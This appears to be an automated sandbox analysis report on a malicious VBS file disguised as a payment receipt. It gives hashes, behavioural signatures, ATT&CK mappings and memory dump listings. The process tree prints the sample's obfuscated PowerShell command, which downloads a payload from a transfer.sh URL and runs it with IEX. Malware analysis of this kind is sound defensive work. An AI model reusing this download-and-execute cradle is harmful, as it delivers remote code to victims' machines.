a9459089985852c3661d048010c4661523b904cd94f31fb245ca7d75ab220532

Analysis

max time kernel
118s
max time network
118s
platform
windows7_x64
resource
win7-en-20211014
submitted
29-11-2021 19:58

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General

Target

8XN2B1_Payment_Receipt.vbs
Size

552B
MD5

7578770adaa094d49594be394effcb3b
SHA1

8d919e1d10a590babbb1e88707f41b5653080cba
SHA256

a9459089985852c3661d048010c4661523b904cd94f31fb245ca7d75ab220532
SHA512

363d36082d2be9e50ee113e7061ae1ecbd1096ab21d71e900281d94f7bfc34a546e3e15b42a95f03542dd8ceed0c0d6ce22ed36c7afba4e6344cdeeffc03593a

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

516 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 516 powershell.exe

pid	process
516	powershell.exe

description	pid	process
Token: SeDebugPrivilege	516	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 2044 wrote to memory of 516	2044	WScript.exe	powershell.exe
PID 2044 wrote to memory of 516	2044	WScript.exe	powershell.exe
PID 2044 wrote to memory of 516	2044	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8XN2B1_Payment_Receipt.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2044

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ChiptEch=('{2}{1}{0}{3}{4}' -f'bC','WE','NEt.','liE','nt'); $FrEq=('{3}{0}{1}{2}' -f'load','Str','ing','Down'); $sysinfo=('{2}{0}{1}' -f'E','X','I'); &('I'+'EX')(N`Ew-Ob`jE`ct $ChiptEch).$FrEq('https://transfer.sh/get/itIqsM/bypa.txt')
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:516

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/516-56-0x0000000000000000-mapping.dmp

Download
memory/516-58-0x000007FEF2830000-0x000007FEF338D000-memory.dmp

Filesize
11.4MB

Download
memory/516-60-0x0000000002970000-0x0000000002972000-memory.dmp

Filesize
8KB

Download
memory/516-61-0x0000000002972000-0x0000000002974000-memory.dmp

Filesize
8KB

Download
memory/516-62-0x0000000002974000-0x0000000002977000-memory.dmp

Filesize
12KB

Download
memory/516-59-0x000000001B7A0000-0x000000001BA9F000-memory.dmp

Filesize
3.0MB

Download
memory/516-63-0x000000000297B000-0x000000000299A000-memory.dmp

Filesize
124KB

Download
memory/2044-55-0x000007FEFB831000-0x000007FEFB833000-memory.dmp

Filesize
8KB

Download